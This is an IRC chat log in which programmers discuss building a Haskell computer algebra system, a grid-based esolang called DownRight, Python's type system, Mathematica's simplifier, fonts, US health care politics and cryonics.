14:24:53 <alise> 21:07:22 <oklokok> children are decent at learning certain things, but they have no creativity, they have no concentration, they have no insight.
14:24:56 <alise> HEY
14:24:57 <alise> 21:07:27 <oklokok> i love kids, wish i had some
14:24:59 <alise> oh ok then
14:25:15 <fax> <oklokok> to cook and eat
14:25:28 <alise> 21:21:47 <oklokok> most parents suck anyway based on what i've seen, i guess you get tired of doing the job right after a few years
14:25:28 -!- Phantom_Hoover has quit (Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838]).
14:25:38 <alise> turns out most people think they can do it without thinking about it
14:25:41 <alise> hilarious huh
14:25:52 <alise> maybe we should hire engineers based on their gut feeling that they can do this
14:26:11 <fax> bleh
14:26:11 <fax> this mathematica sucks
14:26:14 <alise> fax: do you want me to tell you how to set up vnc?
14:26:23 <alise> it doesn't man, it's not laggy when it works properly
14:26:36 <alise> it was smooth as hell on my 2.5 gig 2-core 2.1ghz imac from 2006
14:26:44 <alise> something's just set up wrong for you :P
14:28:03 <fax> hm :[
14:28:12 <fax> I think it's just bad
14:28:27 <alise> fax: well i have direct experience contradicting your statement that even simple anamation is slow
14:29:21 <fax> http://www.mofeel.net/1164-comp-soft-sys-math-mathematica/1370.aspx
14:30:07 <alise> Believe what you want to believe; it doesn't concern me. I was only offering to fix the problem for my experience shows that is exactly what it is, a problem...
14:30:24 -!- tombom has joined.
14:31:12 <fax> btw I turned off antialisaing but it still antialiased
14:31:27 <alise> what is still antialiased
14:31:33 <fax> the jansen walker
14:31:55 <alise> it is about antialiasing of plots not animations
14:32:02 <alise> anyway look if you want me to fix it just say so
14:37:41 <alise> I think I'm gonna make my own simple CAS
14:38:11 <fax> in mathematica?
14:38:15 <alise> no :P
14:38:17 <fax> :)
14:38:23 <alise> yo dawg, I heard you like CASs...
14:39:02 <fax> ;D
14:46:27 <alise> i think i'll call it Caster
14:46:29 <alise> because, you know
14:46:30 <alise> CASter
14:49:08 <alise> has anyone worked out anything about the digits of graham's number?
14:49:10 <alise> would be fun
14:49:40 <alise> ok so I'm gonna start with the non-computational stuff since I need it to work with
14:49:58 <alise> first, a structure for terms; then, a module for symbolic rewriting on these terms; then, a module for pretty-printing these terms.
14:50:09 <alise> (including handling things like operators rather than just tons of function applications)
14:52:31 <alise> write it in ... hmm
14:55:02 <alise> Haskell because I cba to fight with anything else
14:59:34 -!- nooga has quit (Ping timeout: 264 seconds).
14:59:41 <alise> hmm... I want f(x,y,z) syntax for it for simple interaction with the other syntax, so I guess I'll just make that sugar for f(x)(y)(z)
15:01:20 <alise> =(+(^(a)(n))(^(b)(n)))(^(c)(n)), I could see that notation catching on
15:05:38 <fax> lol prolog
15:06:08 <alise> prolog has f(x,y) as distinct from f(x)(y) doesn't it :)
15:06:13 <alise> but yeah, very prology.
15:06:16 <alise> *prologgy
15:06:37 <fax> oh
15:06:53 <fax> why don't you write f x y z :P
15:06:59 <fax> it's written in haskell afterall
15:07:15 <fax> I htink I have a parser for that
15:07:18 <fax> and pretty printer
15:09:22 <alise> by pretty printer I mean things like
15:09:27 <alise> _
15:09:28 <alise> Vx
15:09:33 <alise> for sqrt(x)
15:09:36 <fax> no not that
15:09:38 <alise> or x + y for +(x)(y)
15:10:09 <fax> alise I'm writing a note on category thoegyga
15:10:19 <fax> category theology on my wiki
15:10:32 <alise> category theology?
15:10:48 <fax> The mystery of the Yoneda
15:12:10 <alise> how fast can tex run I wonder
15:12:19 <alise> it would be neat if I could have a repl which calls out to tex every line to render the output
15:12:32 <alise> also if I could then do some magic to make it selectable and copy-pastable as input format...
15:12:35 <fax> as you type? or as you hit return?
15:12:58 <alise> only the output lines, pretty-as-you-type is for my future project
15:14:57 <fax> ug
15:15:04 <fax> how to do an arrow '-->' but nice
15:15:13 <fax> not that stubby unicode one :/
15:15:46 <alise> there is a long unicode arrow
15:15:56 <alise> i will find it for you
15:16:04 <alise> it is most pretty in shape
15:17:02 <alise> fax: →
15:17:06 <alise> looks longer in the right font :P
15:17:33 <fax>
15:17:42 <alise> fax: here's iff ⇔
15:19:10 <fax> alise I can use TeX!
15:19:18 <alise> then...
15:19:22 <alise> \longrightarrow
15:19:23 <alise> \iff
15:19:23 <alise> etc
15:19:32 <fax> I just realized wiki tex still lets me do colors
15:19:52 <alise> i really want something that lets me type tex and see it autovivify as i type
15:19:55 <alise> like not wysiwyg or whatever
15:21:22 -!- nooga has joined.
15:21:31 <nooga> CAS?
15:21:53 <alise> computer algebra system
15:24:16 <nooga> ah right
15:28:00 <alise> a nice thing about symbolic rewriting
15:28:06 <alise> is that you don't need de bruijn indexes or anything, variable binding is trivial
15:29:24 <alise> ok so literals I need...
15:29:39 <alise> symbols, naturals, strings, applications
15:31:28 <alise> hmm I can just do naturals as symbols of digits
15:31:29 <alise> obvs
15:31:55 <alise> strings can just be symbols with some kind of quoting in the syntax... except no
15:31:59 <alise> because then you can reassign them :P
15:32:06 <alise> "abc def" could be string(|abc def|)
15:36:05 <hiato> 15:58 < alise> =(+(^(a)(n))(^(b)(n)))(^(c)(n)), I could see that notation catching on --> I made this esolang a while ago, before I really knew what functional mean, nice example: Square Root Approx: :(>(i1,0)?[^(f1(( /(-(*2(a1)))(+y(-x(*a1(a1))))),-(i1)))];[^a1])(f1(a1,i1))
15:40:47 <alise> haskell needs not (any f xs) :(
15:40:47 <alise> "none"
15:43:00 <fax> alise help me pick good colors
15:43:10 <fax> these are like all the same http://en.wikibooks.org/wiki/LaTeX/Colors
15:46:01 <alise> oh, actually, I cannot use f(x)(y)
15:46:05 <alise> well I can but
15:46:14 <alise> consider +x vs x+y
15:46:20 <alise> +(x) ... +(x)(y)
15:46:24 <alise> I could have
15:46:31 <alise> prefix+(x) ... infix+(x)(y)
15:46:31 <alise> I guess
15:46:35 <alise> but optional arguments would be nice...
15:47:20 -!- kar8nga has joined.
15:50:51 -!- alise has quit (Ping timeout: 252 seconds).
15:52:09 -!- alise has joined.
15:56:02 <fax> alise what color is a functor?
15:56:58 <alise> um
15:57:01 <alise> octarine :)
15:58:07 <oklopol> oh i thought that a was philosophical question
15:58:10 <oklopol> *was a
15:58:23 <alise> yeah :P
15:59:43 <alise> ugh this means I have f distinct from f(), how embarrassing
16:02:18 <fax> oklopol http://i.imgur.com/WWBhb.png :P
16:02:31 <fax> (ignore the errors :S)
16:03:00 <uorygl> f and f() mean different things in Python. Therefore, f and f() ought to mean different things.
16:03:12 -!- hiato has quit (Quit: underflow).
16:03:16 <alise> uorygl: Python is logically inconsistent.
16:03:23 <alise> Therefore, everything ought to be inconsistent.
16:03:36 <nooga> python is awful
16:03:39 <uorygl> What do you mean by "logically inconsistent"?
16:03:52 <nooga> ruby > python
16:04:09 <alise> nooga: Swing and a miss.
16:04:10 <uorygl> I've heard a lot about Ruby.
16:04:16 <alise> uorygl: It is possible to prove _|_ in Python.
16:04:21 <alise> def f(): return f()
16:04:24 <alise> f :: forall a. a
16:04:28 <alise> f :: _|_
16:04:35 <uorygl> I don't think that's true.
16:04:39 <alise> IT is.
16:04:40 <alise> *It
16:05:08 <uorygl> In fact, f :: function
16:05:10 <uorygl> :P
16:05:14 <alise> You fail at Curry-Howard.
16:05:23 <uorygl> You fail at Python's typing system!
16:05:30 <uorygl> But eh.
16:05:30 <alise> It has none.
16:05:34 <uorygl> Yes, Python allows infinite loops.
16:05:45 <alise> It's not even infinite loops, it has other _|_s too.
16:06:11 <uorygl> Like sys.exit(), I suppose.
16:06:16 <nooga> alise: I don't care much about your opinion in that field, sorry
16:06:30 <uorygl> A sane computer program is really not the same thing as a sane proof.
16:07:03 <alise> Anyway Python has lots and lots of runtime unreliability like type errors, exceptions, nontermination, and honestly so many that no human being can program in Python.
16:07:09 <alise> They think they can but they program broken Python 99% of the time.
16:07:18 <alise> Python is literally impossible to use.
16:07:42 <oklopol> in python, no matter what you're trying to program, just let your fingers dance for a while and it's done with no errors
16:07:57 <alise> As with SKI!
16:07:59 -!- jcp has joined.
16:08:02 <alise> Just avoid certain patterns!
16:08:04 <uorygl> That's a strange objection, seeing as how I've seen Python code that worked.
16:08:14 <alise> uorygl: Pure chance and trial and error.
16:08:35 <alise> A Python programmer is actually a rough Python approximator who has some sort of idea of a correct language that isn't Python and fails to translate this to Python repeatedly.
16:08:45 <oklopol> :D
16:08:48 <oklopol> that's bullshit
16:08:52 <oklopol> python is perfect
16:08:55 <uorygl> So it's impossible to actually know what Python is?
16:09:00 <alise> I never said that.
16:09:18 <uorygl> You said that Python programmers have some sort of idea of a correct language that isn't Python.
16:09:21 <alise> It's impossible for any human-level flawed intelligence to program in Python with basically any accuracy at all.
16:09:33 * uorygl shrugs.
16:09:40 <oklopol> the only ways to make a mistake in python are the following: forgetting self, forgetting the return statement
16:10:01 <oklopol> well and syntax errors occasionally
16:10:02 <uorygl> Does every function have to have a return statement?
16:10:05 <alise> oklopol: code a checker for the riemann hypo in python
16:10:06 <alise> go
16:10:10 <uorygl> Or something that acts like a return statement?
16:10:31 <oklopol> you really think it's important to be able to prove things with the type system?
16:10:34 <uorygl> Hmm, I wrote a really simple theorem prover in Haskell on a whiteboard once.
16:10:42 <oklopol> when the fuck is that useful
16:11:04 <oklopol> never the fuck says i
16:11:21 <oklopol> uorygl: they have an implicit return None
16:11:52 * uorygl nods.
16:12:27 <uorygl> I guess I would have difficulty coding a formal version of the Riemann hypothesis.
16:13:01 <uorygl> I can define the complex numbers, but I'm not sure precisely what the definition of the zeta function is.
16:13:42 <oklopol> it's just the infinite sum of n^-i
16:13:43 <alise> oklopol: proving things with the type system is useful for exactly the cases proving is
16:13:49 <alise> whether about programs or mathematics
16:14:17 <uorygl> It's not just that; it's extended to places where that sum is undefined.
16:14:17 <oklopol> so basically never
16:14:28 <oklopol> ah
16:14:36 <alise> oklopol: eh go fuck yourself :)
16:14:37 <oklopol> err
16:14:38 <oklopol> are you sure
16:14:51 <oklopol> i mean yes, it's the analytic continuation of the real series, sure
16:15:04 <oklopol> but doesn't that just mean we use complex exponentiation everywhere else?
16:15:31 <uorygl> Well...
16:15:32 <alise> okay, I need a monad for this :P
16:15:58 <uorygl> n is the function's parameter and i is the infinite sum index thingy, right?
16:16:17 <uorygl> Suppose n = 1/2. Then you have 1 + 2 + 4 + 8 + . . .
16:16:19 <uorygl> Right?
16:16:41 <uorygl> Complex exponentiation doesn't seem to help with that.
16:20:22 <oklopol> lim n->1/2 f(n) is infinity too, so analytic continuation doesn't help with that
16:20:24 <oklopol> or am i wrong
16:20:48 <oklopol> oh
16:21:27 <oklopol> the problem is
16:21:52 <oklopol> the sum is over n
16:21:54 <oklopol> sorry
16:22:28 <oklopol> i is the argument, better call it something else
16:22:41 <oklopol> err
16:22:47 <oklopol> it's not the argument
16:22:56 <oklopol> i'm gonna look this thing up now :P
16:24:14 <oklopol> yeah okay of course it's not just the same thing then
16:29:07 <alise> eq = Func(
16:29:07 <alise> Pi(Set) >> lambda A: Pi(A) >> lambda x: A >> Prop,
16:29:07 <alise> lambda A: lambda x: lambda y: Prop(refl = eq(A, x, x)))
16:30:13 <alise> I'm not actually evil enough to code that.
16:31:14 <fax> ths s so fucking annoying I hate this so much
16:31:39 <fax> I'm just trying to define a tex command and I spent like 30 mins getting frustrated because it's not working and it sucks all my motivation to do this out
16:31:50 <alise> latex or tex
16:31:55 <fax> dunno
16:31:59 <alise> >_<
16:32:01 <alise> what is it in
16:32:02 <fax> it doesn't work
16:34:54 <alise> oh, /dear/, it looks like I'm getting dynamic scoping
16:35:29 <alise> feck!
16:35:31 <alise> royal feck!
16:46:11 <alise> oh shit, i have to handle alpha-conversion
16:46:11 <alise> lol i got bored
16:48:58 -!- impomatic has joined.
16:49:31 <alise> hmm i can't seem to express cardinality in dependent type theory
16:49:35 <alise> that sux :P
16:54:16 <alise> oh wait i can specify the property of something being equal to the cardinality
16:54:17 <alise> which should be enough
16:57:19 * Sgeo is reading a lot of Less Wrong, but I'm worried I might be failing to think critically about the posts
16:57:32 <alise> that is a problem I often see in Less Wrongers.
16:57:36 <alise> Quite the contradiction.
17:23:20 <alise> Who knew simple term rewriting was so complex?
17:29:28 <impomatic> Which programming editor do you all use?
17:30:13 <alise> I use Emacs for most things.
17:31:02 <fax> tat was awful awulf awful
17:31:44 <fax> "can't seem to express cardinality" just like in set theory, you can't have 'set of all ordinals' or 'set of all cardinals'
17:33:55 <alise> i didn't mean in that sense
17:33:56 <alise> obviously
17:34:11 <fax> alise that is not obvious, I spent hours thinking about this
17:34:18 <alise> no i meant
17:34:22 <alise> obviously, I didn't mean that sense
17:34:25 -!- Asztal has joined.
17:34:28 <fax> okay
17:34:41 <fax> A lot of times I tell you things which took me a long time to figure out and you say they're obvious :P
17:34:42 <alise> what I mean is i literally cannot see a way to express cardinality of a set
17:34:43 <alise> well
17:34:44 <alise> of a type
17:34:47 <fax> but they're only obvious in retrospect
17:34:58 <alise> fax: well i usually think things are obvious based on intuition
17:34:59 <alise> not knowledge
17:45:32 -!- ais523 has joined.
17:46:56 <alise> hi ais523
17:46:56 <alise> s/ $//
17:47:46 <ais523> hi
17:47:55 <ais523> also, I can't see your trailing spaces
17:50:19 -!- Asztal has quit (Remote host closed the connection).
17:57:46 -!- nooga has quit (Ping timeout: 246 seconds).
17:59:32 <alise> sooooo
18:05:43 <alise> flob
18:07:00 <ais523> alise: are you OK?
18:07:10 <alise> Just bored.
18:07:34 -!- oklopol has quit (Quit: ( www.nnscript.com :: NoNameScript 4.2 :: www.regroup-esports.com )).
18:08:16 <ais523> hmm, OK
18:08:30 <ais523> I discovered yesterday that the problem that my supervisor had set me to solve was formally undecidable
18:08:47 <ais523> he thought it would be a "neater" way to do something that I had done already, and which is entirely decidable
18:10:51 <alise> heh
18:10:58 <alise> I should continue writing my CAS
18:28:43 <alise> but...
18:29:29 <ais523> hmm, what /I/ should do is document some esolangs
18:29:43 <alise> document? boring
18:29:44 <Sgeo> Document Feather!
18:29:47 <ais523> I have both DownRight and Confloddle which are more or less finished, yet completely undocumented and unimplemented
18:29:48 <alise> publish a 4-line interpreter for them
18:29:53 <alise> in, I don't know, Prolog
18:30:14 <ais523> hmm, OK, challenge for me, write a DownRight interp in one line of EgoBot
18:30:16 <ais523> hmm, it's down
18:30:22 <ais523> one line of fungot then, which implies either BF or underload
18:30:22 <fungot> ais523: but if you didn't
18:30:42 <ais523> and fitting within IRC's line-length limit
18:31:17 <alise> what is downright again? I forgot.
18:31:20 <ais523> hmm, this would be so much easier in underlambda...
18:31:26 <Sgeo> DownRight?
18:31:54 <ais523> alise: Sgeo: OK, you have a rectangular table, whose dimensions are coprime; that's the program
18:32:04 <ais523> each cell contains a possibly empty string of "d" and "r", meaning "down" and "right"
18:32:24 <ais523> and there's an internal queue of instructions, which starts initialised to the content of the top-left cell
18:33:17 <ais523> the interpreter repeatedly dequeues an element from the queue, then moves down if it was "d" or right if it was "r" (wrapping both vertically and horizontally), then enqueues the entire contents of the cell it ended up in
18:33:22 <ais523> that's it; instant tarpit
18:34:41 <Sgeo> I don't see how it can be TC. I don't see a way to loop
18:34:45 <ais523> the restriction to coprime dimensions, incidentally, is something that confuses me about the language; it feels like it ought to be less powerful with the restriction, and there's no way I can think of to compile programs without the restriction into programs with without embedding an interp, but I can't write any non-contrived programs which can't trivially be changed to obey the restriction
18:35:09 <ais523> Sgeo: it wraps both horizontally and vertically
18:35:13 <Sgeo> Oh
18:35:14 <ais523> e.g. a trivial infinite loop is [r]
18:36:07 <ais523> one nice thing about the lang is that it compiles really easily into cyclic tag / BCT; which is surprising, as those are basically the most tarpitty langs around
18:37:41 <ais523> but only with the coprimality restriction
18:37:51 <Sgeo> HCR stuff on C-Span
18:38:01 <ais523> ?#
18:38:03 <ais523> * ?
18:38:51 <Sgeo> There's no I/O support, is there?
18:39:43 <ais523> Sgeo: no, although in the case of DownRight it wouldn't be too hard to add
18:40:00 <alise> C-Span: US politics channel
18:40:03 <alise> HCR : Health care reform
18:40:06 <alise> *HCR:
18:40:17 <ais523> you could cause certain cells to output text as the interp went through them, and other cells to not enqueue anything if they couldn't read a particular char from input
18:40:24 <ais523> alise: ah, OK; I knew C-Span, but not HCR
18:40:27 <alise> So, Americans, if you want to learn about how Obama is going to fix the world by fining people without health insurance from glorious corporations -
18:40:40 <alise> Shift your gaze towards your television!
18:41:25 <deschutron> will people be fined for not buying health insurance under the reform?
18:41:32 <alise> yes
18:41:47 <alise> It's /just like/ single payer health care!
18:41:50 <ais523> but I think the health insurance people aren't allowed to rip people off
18:41:54 <alise> Except /more/ /American!/
18:42:06 <alise> ais523: Yes, and Bush wasn't allowed to do a lot of the things he did too...
18:42:11 <ais523> I know
18:42:13 <deschutron> will the government pay any money towards their insurance?
18:42:16 <ais523> "aren't allowed to" != "won't"
18:42:25 <alise> Precisely.
18:42:27 <ais523> deschutron: why, that would be socialism! and so evil! or something like that
18:42:47 <alise> deschutron: I gather that is the case, though of course once you have whatever worst-of-the-worst plan they give you they'll rabidly try to avoid treating you.
18:42:55 <alise> Land of the free!
18:43:03 <alise> ais523: actually, the Republicans /are/ calling it socialism
18:43:05 <ais523> the funny thing is, the health care system the US seems to be moving into is what in the UK would be described as "privatized"
18:43:09 <ais523> alise: I know
18:43:13 <ais523> the word has a strange meaning in the US, though
18:43:13 <alise> which has really just elevated the level of political discourse in the US from "pathetically comical" to "brilliant satire"
18:43:32 <ais523> which as far as I can tell, is along the lines of "government existing"
18:43:35 <alise> It means STEALING PEOPLE'S MONEY; like Robin Hood.
18:43:58 <alise> ais523: And yet they decry any advances in morals from the stone age - it'll cause anarchy, they say, a society without morals.
18:44:16 <ais523> government is clearly evil; so you need morals in order to replace it
18:44:42 <alise> Government should be replaced with the only moral force in the universe: CAPITALISM!
18:44:51 <alise> I'd laugh but that's the definition of anarcho-capitalism.
18:44:57 <alise> n 1
18:44:58 <alise> harmonic(n) := ∑ —
18:44:58 <alise> k=1 k
18:45:04 <alise> WHO NEEDS TEX WHEN YOU HAVE UNICODE
18:45:55 <deschutron> do people in america pay much tax?
18:46:05 <alise> Yes because of COMMUNISTS
18:46:19 <ais523> yes, but they're violently opposed to the government spending it
18:46:45 <Sgeo> The Republicans don't want people to be forced to buy insurance. Wonder what their position on car insurance is.
18:46:51 <alise> ais523: as the only other Ubuntu user I know of (AnMaster uses his own distro almost, but not entirely, unlike Ubuntu) - install ttf-droid if you haven't already, then set Application/document/desktop fonts to Droid Sans 10; window titles to Droid Sans Bold 11, and if you want fixed width to Droid Sans Mono 10.
18:46:59 <alise> It's just like DejaVu Sans but not as ugly. :P
18:47:15 * Sgeo used to use Ubuntu
18:47:17 <ais523> I actually like DejaVu Sans...
18:47:27 <alise> ais523: then you'll like Droid Sans more :P
18:47:28 <alise> Sgeo: I drive a PATRIOT'S car, my dear friend. And I ain't gonna hurt nobody!
18:47:48 <alise> Sgeo: Whatchoo doin' puttin' on that seatbelt parner'? Are you suggestin' or implicatin' that I may not be the safest driver around?
18:47:50 <deschutron> I use Day Roman
18:47:57 <alise> Excuse me but have you SEEN my car? Nobody could crash in this beauty!
18:48:01 <alise> Go, USA!
18:48:14 <deschutron> haha
18:48:47 <ais523> wow, I've just found a particularly stupid YouTube comment ("I love eevee (eevee backwards)")
18:48:56 <alise> ais523: gahahahaha
18:49:02 <ais523> strangely, youtube comment quality seems to depend a lot on where you look
18:49:37 <alise> Reminds me of:
18:49:57 <alise> (stupid interwebs)
18:50:16 -!- Asztal has joined.
18:50:18 <alise> Meh, never mind
18:50:42 <ais523> ooh, new spambot on Esolang
18:51:32 <Sgeo> ?
18:52:12 -!- adam_d has joined.
18:52:24 <alise> interfaces are hard
18:52:26 <alise> so is syntax
18:53:35 <ais523> deleted the page already, but it was trying to advertise DDOS attacks, or maybe disadvertise them
18:53:38 <deschutron> alise: I use Ubuntu too btw
18:53:48 <ais523> it was a warning not to buy DDOS from someone because their DDOSes were shit, or lines to that effect
18:54:10 <ais523> also, the main reason I use Ubuntu is that it's the path of least resistance
18:54:11 <alise> deschutron: kk
18:56:34 <deschutron> i had gentoo earlier, then installed ubuntu to try it, then my gentoo drive crashed, and then i never got around to installing a different distro
18:57:19 <AnMaster> <alise> ais523: then you'll like Droid Sans more :P <-- I tried that font, I prefer Dejavu sans over it
18:57:41 <alise> I didn't talk to you.
18:57:51 <AnMaster> alise, you highlighted me the line before
19:00:14 <ais523> this argument is going nowhere...
19:01:05 * Sgeo feels like P-Dub
19:01:17 <deschutron> i think it has arrived
19:01:52 * Sgeo has homework to do.
19:02:17 <pikhq> deschutron: US taxation is rather below that of Europe, but US taxation + health care soaks up a *lot* more money than people in Europe pay on just taxes.
19:02:40 <deschutron> i see
19:03:17 <pikhq> And many, many people in the US are convinced that the government spending money is EVIL.
19:03:26 <pikhq> Except when it's the military. In which case FUCK YEAH.
19:05:30 <alise> safoioifsdf
19:05:32 <alise> anyone know jsmath
19:07:27 -!- deschutron has left (?).
19:07:33 <Sgeo> I know it's used on MathOverflow
19:18:01 <fax> badly...
19:18:07 <fax> I have to click 'reload math' every single time
19:21:11 <impomatic> Hmmm... I just installed Droid Sans and Deja Vu along with about 10 other programming fonts.
19:21:25 <impomatic> Not sure which one I'm going to stick with.
19:29:43 <alise> Droid Sans is not a programming font; it is a sans font.
19:37:09 <impomatic> Whatever the full name is, Droid Sans Mono or something
19:37:24 <alise> I like Inconsolata.
19:37:32 <alise> Also Monaco and Consolas.
19:39:01 -!- oerjan has joined.
19:40:36 <alise> ffffffffffffff
19:40:43 <impomatic> My old editor doesn't work with Windows 7 so I'm just trying a few new editors and fonts.
19:40:58 <oerjan> wwwwwwwwwwwwww
19:43:31 <alise> impomatic: Just take the plunge and learn Emacs.
19:43:48 <alise> hmm... /me wonders what the best name for f(x) is in a term-rewriting language; it's not exactly an application
19:43:50 <alise> maybe an association
19:44:18 -!- nooga has joined.
19:45:30 <fax> impomatic do you do lisp
19:45:31 <fax> ?
19:45:38 <alise> Yeth.
19:50:35 <ais523> alise: do you mean f(x) as in making f rewrite x? or, as in f(x) is the data that's rewritten?
19:50:47 <alise> the latter
19:50:53 <alise> I'm just calling them applications, so meh
19:50:57 <ais523> tag, maybe
19:52:57 * alise decides that barf is not the best name for the error-reporting function
19:55:56 <fax> why not??
19:58:11 <oerjan> basic alarm report function
20:09:49 <alise> fax: well for one barfing isn't fatal...
20:09:59 <fax> loll
20:10:00 -!- coppro has joined.
20:11:01 <oerjan> i expect that depends
20:15:59 <alise> coppro: we're discussing the fatality of barfing
20:17:30 -!- oerjan has quit (Quit: Later).
20:18:50 * Sgeo wonders how well cryonics plays with organ donation
20:19:10 <alise> If you just freeze your head, perfectly well.
20:19:12 <alise> If not, not at all.
20:19:43 <alise> Well, you would have to contact the cryonics organisation to work out how to do the organ donation too, I imagine; but I bet it's quite a common request.
20:19:44 <Sgeo> They can't, say, take out my liver and freeze my liverless body?
20:19:53 <alise> The point of that being?
20:20:01 <Sgeo> alise, don't know, just saying
20:20:13 <alise> They might be able to. Ask them.
20:20:28 <alise> http://alcor.org/Contact/index.html
20:20:38 <Sgeo> Also, any reasearch on how much of brain structure is destroyed by freezing?
20:20:42 <alise> CIHQ@aol.com
20:20:48 <alise> Yes:
20:21:19 <alise> http://alcor.org/cryomyths.html#myth2 /me tries to find the other thing
20:21:53 <alise> http://alcor.org/AboutCryonics/index.html
20:22:06 <alise> See near the bottom.
20:22:06 <alise> Of course this is not objective.
20:22:09 <alise> But anyone who even says the word cryonics get exiled from cryobiologist circles anyway.
20:22:25 <alise> (You're actually not allowed to be part of the main cryobiology organisation if you do anything related to cryonics.)
20:22:32 <alise> So you are unlikely to find any third-party research, alas.
20:22:38 <alise> It is fairly cheap though.
20:26:12 <Sgeo> It occurs to me that it's unlikely to be helpful if I die in the near future. At this point, I seem to be healthy, so if I die, it is likely due to an accident..
20:26:28 <Sgeo> Well, actually, I guess accident victims do die in hospitals later sometimes, so
20:33:40 <fax> alise
20:33:53 <fax> can you tell me ANYTHIGN mathematica does which will impress me
20:34:10 <Sgeo> "The plan is not for "them" to revive us. The plan is that we, the Alcor community, will revive ourselves."
20:34:20 <Sgeo> That's somewhat comforting
20:34:35 <Sgeo> Of course, if Alcor [or whatever organization] goes bust..
20:34:48 <fax> On a somewhat facetious note, in sci.math, Archimedes Plutonium has been describing his reconstruction of mathematics where the maximum integer is 10^500.
20:36:00 <AnMaster> fax, do you mean N_(10^500)? As in a modulo-thingy
20:36:15 <AnMaster> forgot the word atm
20:36:15 <fax> no
20:36:20 <fax> norm
20:36:20 <AnMaster> mhm
20:36:26 <AnMaster> mhm
20:36:33 <Sgeo> fax, linky?
20:37:46 <AnMaster> fax, how does he define 10^500+1 btw?
20:38:57 <ais523> AnMaster: bounded integers are easy enough to come up with; in that case, 10^500+1 simply wouldn't have a valid answer, like 1/0 doesn't
20:39:12 <AnMaster> ah
20:41:28 <fizzie> On the other hand, Archimedes Plutonium.
20:41:44 <fax> http://terrytao.wordpress.com/2010/03/19/a-computational-perspective-on-set-theory/#comment-43960
20:41:59 <fizzie> I would assume whatever he says make as much sense as what comes out of Mentifex's "supercomputer AI Mind".
20:42:07 <Sgeo> Who's Archimedes Plutonium?
20:42:30 <fizzie> A well-known Usenet personage. (I don't know if he is active elsewhere too.)
20:42:33 <fax> Archimedes Plutonium (born July 5, 1950) is, according to his own self-description, "The King of Science"
20:42:44 <fax> Plutonium believes himself to be the greatest living scientist, but few if any others share this assessment despite Plutonium's regular activity on the Internet to convince people.
20:43:35 <fizzie> Also the universe is a giant plutonium atom.
20:43:36 <Sgeo> Why is a math forum in sci.math? AFAIK, math is not a science
20:45:49 <fizzie> That's probably a matter of definition; OED defines "mathematics" as "the science of space, number, quantity, and arrangement, whose methods involve logical reasoning and usually the use of symbolic notation, and which includes geometry, arithmetic, algebra, and analysis; mathematical operations or calculations".
20:46:52 <fizzie> Anyway, there's sci.philosophy.meta, too; is that a science?
20:47:56 <fax> http://groups.google.com/group/sci.math/msg/4ed1481f25475af2
20:48:43 <fax> alise
21:00:03 -!- nooga has quit (Ping timeout: 240 seconds).
21:07:19 <alise> back
21:07:29 <fax> wb
21:08:52 <alise> <fax> alise
21:08:53 <alise> <fax> can you tell me ANYTHIGN mathematica does which will impress me
21:08:56 <alise> You already know CASs. So: No.
21:09:05 <alise> It can "prove" some things by simplification. It can calculate some things quickly.
21:09:10 <alise> It can rewrite things symbolically.
21:09:14 <alise> It can do algebra, and calculus.
21:09:44 <alise> <Sgeo> It occurs to me that it's unlikely to be helpful if I die in the near future. At this point, I seem to be healthy, so if I die, it is likely due to an accident..
21:09:45 <alise> <Sgeo> Well, actually, I guess accident victims do die in hospitals later sometimes, so
21:09:49 <alise> There are arrangements for that.
21:09:54 <alise> It is just like organ donation.
21:09:56 <alise> <Sgeo> Of course, if Alcor [or whatever organization] goes bust..
21:10:05 <alise> They are extremely financially conservative, but yes that is a possibility.
21:10:56 -!- kar8nga has quit (Remote host closed the connection).
21:11:17 -!- kar8nga has joined.
21:12:37 <Sgeo> alise, not if my head is crushed in an accident
21:12:43 <Sgeo> Nothing they can do about that
21:12:49 <alise> Then you are totally fucked but that is unlikely.
21:14:22 <alise> You should sign up for cryonics if (p*v)-c >= 0, where p is your estimated probability of cryonics working, v is the value (in the same monetary units as c) you place on a successful cryonics outcome and c is the cost of cryonics
21:15:09 <alise> You get cryonics with your health insurance if you're a USian, so you have to figure out what it adds to that.
21:15:49 <alise> But unless you have a very low estimate of cryonics working, you don't value greatly extended life much, or you simply can't afford it, it's probably positive.
21:17:46 -!- BeholdMyGlory has changed nick to BeholdMyGlory_.
21:17:48 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory__.
21:17:51 -!- BeholdMyGlory__ has changed nick to BeholdMyGlory_.
21:17:53 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory.
21:20:05 -!- ais523 has quit (Remote host closed the connection).
21:20:23 -!- oklopol has joined.
21:36:15 <alise> In[39]:= FullSimplify[
21:36:15 <alise> a^n + b^n == c^n, {a \[Element] Integers, b \[Element] Integers,
21:36:15 <alise> c \[Element] Integers, a > 0, b > 0, c > 0, n \[Element] Integers,
21:36:15 <alise> n > 2}]
21:36:15 <alise> Out[39]= False
21:36:19 <alise> Probability of that being hard-coded: 1
21:37:12 <fax> what if you do n > 1 ?
21:37:24 <alise> In[41]:= FullSimplify[
21:37:25 <alise> a^n + b^n == c^n, {a \[Element] Integers, b \[Element] Integers,
21:37:25 <alise> c \[Element] Integers, a > 0, b > 0, c > 0, n \[Element] Integers,
21:37:25 <alise> n > 1}]
21:37:25 <alise> Out[41]= a^n + b^n == c^n
21:39:14 <Deewiant> Of course it's hard-coded :-P
21:39:34 <fax> mathematica is boring
21:42:30 <fax> http://demonstrations.wolfram.com/FiniteFieldTables/ cool
21:43:46 <fizzie> Deewiant: Heh, a bot-tweet refers to "webster's encyclopedic unabridged dictionary of folklore"; that sounds like a good book. (Unfortunately also apparently nonexistant.)
21:45:21 <Deewiant> I'd buy a copy if it existed
21:48:47 -!- coppro has quit (Ping timeout: 245 seconds).
21:52:10 -!- coppro has joined.
21:58:50 <alise> We should have m!ⁿ, which is basically m!ⁿ = H(n, m, m!ⁿ), where H = http://en.wikipedia.org/wiki/Hyper_operator.
21:59:04 <alise> So n! is the nth triangular number.
21:59:16 <alise> n! is n!.
21:59:30 <alise> ! is... logtorial?
21:59:35 <alise> And so on.
22:00:00 <Deewiant> alise: You defined it in terms of itself
22:00:07 <alise> it's called recursion
22:00:10 <alise> I was too lazy to specify a base case
22:00:40 -!- Oranjer has joined.
22:00:53 <Deewiant> I don't see how that works at all, but whatever
22:01:02 <alise> Presumably m!ⁿ = 1 if n < 1.
22:01:08 <alise> Well, if n = 0.
22:01:14 <Deewiant> When does n change?
22:01:18 <alise> Er.
22:01:20 <alise> Right yu are.
